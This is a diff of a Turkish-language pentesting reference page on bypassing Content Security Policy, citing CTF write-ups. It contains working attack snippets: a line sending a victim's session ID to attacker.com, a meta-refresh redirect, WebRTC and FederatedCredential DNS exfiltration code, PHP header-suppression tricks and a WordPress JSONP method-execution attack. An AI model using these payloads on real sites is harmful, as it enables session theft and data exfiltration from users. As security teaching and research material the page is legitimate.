+Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.

 Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

@ -583,15 +583,15 @@ document.querySelector("DIV").innerHTML =
 - Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
 - `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.

-Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alırken farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
+Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.

-Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
+Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engelleyecek veya izin verecek şekilde değiştirerek farklı alt alan adlarını iteratif olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
 CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz.

-Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.
+Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerinden yararlanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir.

 [**buradan**](https://ctftime.org/writeup/29310) bir ipucu.

@ -599,18 +599,18 @@ Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inc

 ### Çok fazla parametre olduğunda PHP Hataları

-Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapabilirsiniz). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hata tetikleyecektir.
+Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapılabilir). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hataya neden olacaktır.

 ### PHP yanıt tamponu aşırı yüklenmesi

-PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlamasıyla** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarılar içinde yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
+PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlama** ile bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarıların içine yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
 Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.

 [**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir.

 ### Hata Sayfasını Yeniden Yazma

-[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir.
+[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@ -625,7 +625,7 @@ SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **ist
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}

-Ayrıca, **wordpress** `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **JSONP** uç noktasına sahiptir ve bu uç nokta, çıktıda gönderilen **veriyi** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).
+Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde bir **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **verileri** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).

 Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
 Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta etiketi

-Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz)
+Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off

 Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.

-Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın:
+Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
 });
 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
+### CredentialsContainer
+
+Kimlik bilgisi açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Sadece güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır.
+```javascript
+navigator.credentials.store(
+new FederatedCredential({
+id:"satoki",
+name:"satoki",
+provider:"https:"+your_data+"example.com",
+iconURL:"https:"+your_data+"example.com"
+})
+)
+```
 ## CSP Politikalarını Çevrimiçi Kontrol Etme

 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)